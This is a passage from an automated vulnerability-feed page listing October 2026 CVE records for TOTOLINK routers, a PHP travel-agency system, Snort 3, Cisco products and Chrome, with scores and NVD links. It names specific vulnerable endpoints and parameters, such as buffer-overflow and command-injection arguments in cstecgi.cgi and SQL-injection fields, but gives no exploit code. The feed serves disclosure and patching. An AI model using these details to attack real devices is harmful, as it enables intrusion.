EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114382&date=2026-10-25).
Sources:
NVD CVE-2026-114382: https://nvd.nist.gov/vuln/detail/CVE-2026-114382
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114382&date=2026-10-25
A security flaw has been discovered in TOTOLINK EX200 5.2.3c.7200. This affects the function setStaticDhcpConfig of the file /cgi-bin/cstecgi.cgi of the component lan.so. The manipulation of the argument Comment results in stack-based buffer overflow. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A weakness has been identified in TOTOLINK EX200 5.2.3c.7200. This impacts the function setWiFiAclAddConfig of the file /cgi-bin/cstecgi.cgi of the component wireless.so.
https://kevwire.com/record/CVE-2026-114383
A weakness has been identified in TOTOLINK EX200 5.2.3c.7200. This impacts the function setWiFiAclAddConfig of the file /cgi-bin/cstecgi.cgi of the component wireless.so. (Oct 21, 2026).
A weakness has been identified in TOTOLINK EX200 5.2.3c.7200. This impacts the function setWiFiAclAddConfig of the file /cgi-bin/cstecgi.cgi of the component wireless.so. This manipulation of the argument macAddress causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114383).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114383&date=2026-10-25).
Sources:
NVD CVE-2026-114383: https://nvd.nist.gov/vuln/detail/CVE-2026-114383
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114383&date=2026-10-25
A weakness has been identified in TOTOLINK EX200 5.2.3c.7200. This impacts the function setWiFiAclAddConfig of the file /cgi-bin/cstecgi.cgi of the component wireless.so. This manipulation of the argument macAddress causes stack-based buffer overflow. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was determined in oretnom23 php-travel-agency-system. Affected by this issue is some unknown functionality of the file admin/session.php of the component Session...
https://kevwire.com/record/CVE-2026-114439
A vulnerability was determined in oretnom23 php-travel-agency-system. Affected by this issue is some unknown functionality of the file admin/session.php of the component Session... (Oct 21, 2026).
A vulnerability was determined in oretnom23 php-travel-agency-system. Affected by this issue is some unknown functionality of the file admin/session.php of the component Session Handler. Executing a manipulation of the argument user_id can lead to missing authentication. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114439).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114439&date=2026-10-25).
Sources:
NVD CVE-2026-114439: https://nvd.nist.gov/vuln/detail/CVE-2026-114439
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114439&date=2026-10-25
A vulnerability was determined in oretnom23 php-travel-agency-system. Affected by this issue is some unknown functionality of the file admin/session.php of the component Session Handler. Executing a manipulation of the argument user_id can lead to missing authentication. It is possible to launch the attack remotely. The exploit has been publicly disclosed and may be utilized. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was identified in oretnom23 php-travel-agency-system. This affects an unknown part of the file admin/delete.php.
https://kevwire.com/record/CVE-2026-114440
A vulnerability was identified in oretnom23 php-travel-agency-system. This affects an unknown part of the file admin/delete.php. (Oct 21, 2026).
A vulnerability was identified in oretnom23 php-travel-agency-system. This affects an unknown part of the file admin/delete.php. The manipulation of the argument costomer_id/ticket_id/payment_id/id/document_id/salary_id/emp_id/user_id leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114440).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114440&date=2026-10-25).
Sources:
NVD CVE-2026-114440: https://nvd.nist.gov/vuln/detail/CVE-2026-114440
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114440&date=2026-10-25
A vulnerability was identified in oretnom23 php-travel-agency-system. This affects an unknown part of the file admin/delete.php. The manipulation of the argument costomer_id/ticket_id/payment_id/id/document_id/salary_id/emp_id/user_id leads to sql injection. The attack can be initiated remotely. The exploit is publicly available and might be used. Continious delivery with rolling releases is used by this product. Therefore, no version details of affected nor updated releases are available. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function UploadCustomModule of the file lib/cste_modules/product.so.
https://kevwire.com/record/CVE-2026-114575
A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function UploadCustomModule of the file lib/cste_modules/product.so. (Oct 22, 2026).
A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function UploadCustomModule of the file lib/cste_modules/product.so. Executing a manipulation of the argument FileMd5 can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.
CVSS 9.3 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114575).
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114575&date=2026-10-25).
Sources:
NVD CVE-2026-114575: https://nvd.nist.gov/vuln/detail/CVE-2026-114575
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114575&date=2026-10-25
A flaw has been found in TOTOLINK A950RG 4.1.2cu.5268_B20221104. Affected by this issue is the function UploadCustomModule of the file lib/cste_modules/product.so. Executing a manipulation of the argument FileMd5 can lead to command injection. The attack can be launched remotely. The exploit has been published and may be used.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability was found in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/insert.php of the component Insertion Handler.
https://kevwire.com/record/CVE-2026-114577
A vulnerability was found in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/insert.php of the component Insertion Handler. (Oct 22, 2026).
A vulnerability was found in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/insert.php of the component Insertion Handler. The manipulation of the argument costomer_id/payment_type/amount/description/user/uploadimage/full_name/visa_no results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.
CVSS 5.5 (version 4.0; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-114577).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114577&date=2026-10-25).
Sources:
NVD CVE-2026-114577: https://nvd.nist.gov/vuln/detail/CVE-2026-114577
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114577&date=2026-10-25
A vulnerability was found in oretnom23 php-travel-agency-system. This vulnerability affects unknown code of the file admin/insert.php of the component Insertion Handler. The manipulation of the argument costomer_id/payment_type/amount/description/user/uploadimage/full_name/visa_no results in sql injection. The attack may be launched remotely. The exploit has been made public and could be used. The project was informed of the problem early through an issue report but has not responded yet.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the control channel socket implementation of&nbsp;Open Source Snort 3 could allow an authenticated, local attacker with low privileges to execute arbitrary...
https://kevwire.com/record/CVE-2026-76524
A vulnerability in the control channel socket implementation of&nbsp;Open Source Snort 3 could allow an authenticated, local attacker with low privileges to execute arbitrary... (Oct 21, 2026).
A vulnerability in the control channel socket implementation of&nbsp;Open Source Snort 3 could allow an authenticated, local attacker with low privileges to execute arbitrary commands as the Snort 3 process user.

This vulnerability is due to a lack of authentication when a local user connects to the Snort control channel socket. An attacker could exploit this vulnerability by connecting to the Snort 3 control channel socket as a local user. A successful exploit could allow the attacker to execute arbitrary commands as well as read and write Snort 3 process memory.
CVSS 7.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76524).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76524&date=2026-10-25).
Sources:
NVD CVE-2026-76524: https://nvd.nist.gov/vuln/detail/CVE-2026-76524
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76524&date=2026-10-25
A vulnerability in the control channel socket implementation of&nbsp;Open Source Snort 3 could allow an authenticated, local attacker with low privileges to execute arbitrary commands as the Snort 3 process user.

This vulnerability is due to a lack of authentication when a local user connects to the Snort control channel socket. An attacker could exploit this vulnerability by connecting to the Snort 3 control channel socket as a local user. A successful exploit could allow the attacker to execute arbitrary commands as well as read and write Snort 3 process memory.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A vulnerability in the IPv4 packet processing functionality of Cisco IOS XR Software that affects Cisco ASR 9000 and 9900 Series Aggregation Services Routers as well as Cisco ASR...
https://kevwire.com/record/CVE-2026-76505
A vulnerability in the IPv4 packet processing functionality of Cisco IOS XR Software that affects Cisco ASR 9000 and 9900 Series Aggregation Services Routers as well as Cisco ASR... (Oct 21, 2026).
A vulnerability in the IPv4 packet processing functionality of Cisco IOS XR Software that affects Cisco ASR 9000 and 9900 Series Aggregation Services Routers as well as Cisco ASR 9902 and 9903 Compact High-Performance Routers could allow an unauthenticated, remote attacker to cause network processor (NP) errors, resulting in a line card reset or shutdown and a denial of service (DoS) condition.&nbsp;

This vulnerability is due to the incorrect handling of crafted IPv4 packets that are received on an affected line card interface and processed as for-us traffic. The issue can result in an NP reset, causing traffic loss on the affected line card while it recovers. Under repeated reset conditions, the network processor may enter a persistent shutdown state, in which case an explicit line card reload may be required to restore traffic.
The vulnerability is within the IPv4 packet-processing path. Transit IPv4 traffic does not trigger this issue and IPv6 traffic cannot trigger it.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76505).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76505&date=2026-10-25).
Sources:
NVD CVE-2026-76505: https://nvd.nist.gov/vuln/detail/CVE-2026-76505
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76505&date=2026-10-25
A vulnerability in the IPv4 packet processing functionality of Cisco IOS XR Software that affects Cisco ASR 9000 and 9900 Series Aggregation Services Routers as well as Cisco ASR 9902 and 9903 Compact High-Performance Routers could allow an unauthenticated, remote attacker to cause network processor (NP) errors, resulting in a line card reset or shutdown and a denial of service (DoS) condition.&nbsp;

This vulnerability is due to the incorrect handling of crafted IPv4 packets that are received on an affected line card interface and processed as for-us traffic. The issue can result in an NP reset, causing traffic loss on the affected line card while it recovers. Under repeated reset conditions, the network processor may enter a persistent shutdown state, in which case an explicit line card reload may be required to restore traffic.
The vulnerability is within the IPv4 packet-processing path. Transit IPv4 traffic does not trigger this issue and IPv6 traffic cannot trigger it.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...
https://kevwire.com/record/CVE-2026-76493
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76493 are related to issues concerning uncaught exceptions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-248.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76493).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76493&date=2026-10-25).
Sources:
NVD CVE-2026-76493: https://nvd.nist.gov/vuln/detail/CVE-2026-76493
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76493&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76493 are related to issues concerning uncaught exceptions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-248.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...
https://kevwire.com/record/CVE-2026-76492
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76492 are related to issues concerning null pointers that are grouped under the Common Weakness Enumeration (CWE) Base CWE-476.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76492).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76492&date=2026-10-25).
Sources:
NVD CVE-2026-76492: https://nvd.nist.gov/vuln/detail/CVE-2026-76492
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76492&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76492 are related to issues concerning null pointers that are grouped under the Common Weakness Enumeration (CWE) Base CWE-476.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...
https://kevwire.com/record/CVE-2026-76491
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76491 are related to issues concerning reachable assertions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-617.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76491).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76491&date=2026-10-25).
Sources:
NVD CVE-2026-76491: https://nvd.nist.gov/vuln/detail/CVE-2026-76491
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76491&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76491 are related to issues concerning reachable assertions that are grouped under the Common Weakness Enumeration (CWE) Base CWE-617.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal...
https://kevwire.com/record/CVE-2026-76490
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76490 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.
CVSS 8.6 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76490).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76490&date=2026-10-25).
Sources:
NVD CVE-2026-76490: https://nvd.nist.gov/vuln/detail/CVE-2026-76490
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76490&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco Expressway Series software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities. &nbsp;

The vulnerabilities tracked by CVE-2026-76490 are related to issues concerning out-of-bounds writes that are grouped under the Common Weakness Enumeration (CWE) Base CWE-787.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco...
https://kevwire.com/record/CVE-2026-76475
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76475 are related to issues concerning improper neutralization of input during web page generation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-79.
CVSS 9.3 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-76475).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-76475&date=2026-10-25).
Sources:
NVD CVE-2026-76475: https://nvd.nist.gov/vuln/detail/CVE-2026-76475
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-76475&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, engineering teams for Cisco Emergency Responder, Cisco Prime Collaboration Deployment, Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM &amp; Presence Service (Unified CM IM&amp;P), Cisco Unified Communications Manager Session Management Edition (Unified CM SME), and Cisco Unity Connection have conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-76475 are related to issues concerning improper neutralization of input during web page generation that are grouped under the Common Weakness Enumeration (CWE) Base CWE-79.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive...
https://kevwire.com/record/CVE-2026-20356
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive... (Oct 21, 2026).
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20356 are related to issues concerning uncontrolled resource consumption that are grouped under the Common Weakness Enumeration (CWE) Base CWE-400.
CVSS 7.5 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-20356).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-20356&date=2026-10-25).
Sources:
NVD CVE-2026-20356: https://nvd.nist.gov/vuln/detail/CVE-2026-20356
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-20356&date=2026-10-25
As part of Cisco's ongoing commitment to proactive security and product quality, the Cisco owned Open Source Snort 3 Software engineering team has conducted a comprehensive internal security review. This review resulted in software hardening releases that address multiple internally discovered vulnerabilities.

The vulnerabilities tracked by CVE-2026-20356 are related to issues concerning uncontrolled resource consumption that are grouped under the Common Weakness Enumeration (CWE) Base CWE-400.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Variations in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113205
Use after free in Variations in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in Variations in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113205).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113205&date=2026-10-25).
Sources:
NVD CVE-2026-113205: https://nvd.nist.gov/vuln/detail/CVE-2026-113205
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113205&date=2026-10-25
Use after free in Variations in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113206
Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113206).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113206&date=2026-10-25).
Sources:
NVD CVE-2026-113206: https://nvd.nist.gov/vuln/detail/CVE-2026-113206
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-113206&date=2026-10-25
Memory corruption in Omnibox in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)

NVD status: Analyzed. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in ContextualSearch in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.
https://kevwire.com/record/CVE-2026-113208
Use after free in ContextualSearch in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Oct 20, 2026).
Use after free in ContextualSearch in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)
CVSS 8.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-113208).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-113208&date=2026-10-25).
Sources:
NVD CVE-2026-113208: https://nvd.nist.gov/vuln/detail/CVE-2026-113208
Vendor advisory (via NVD references): https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=7000
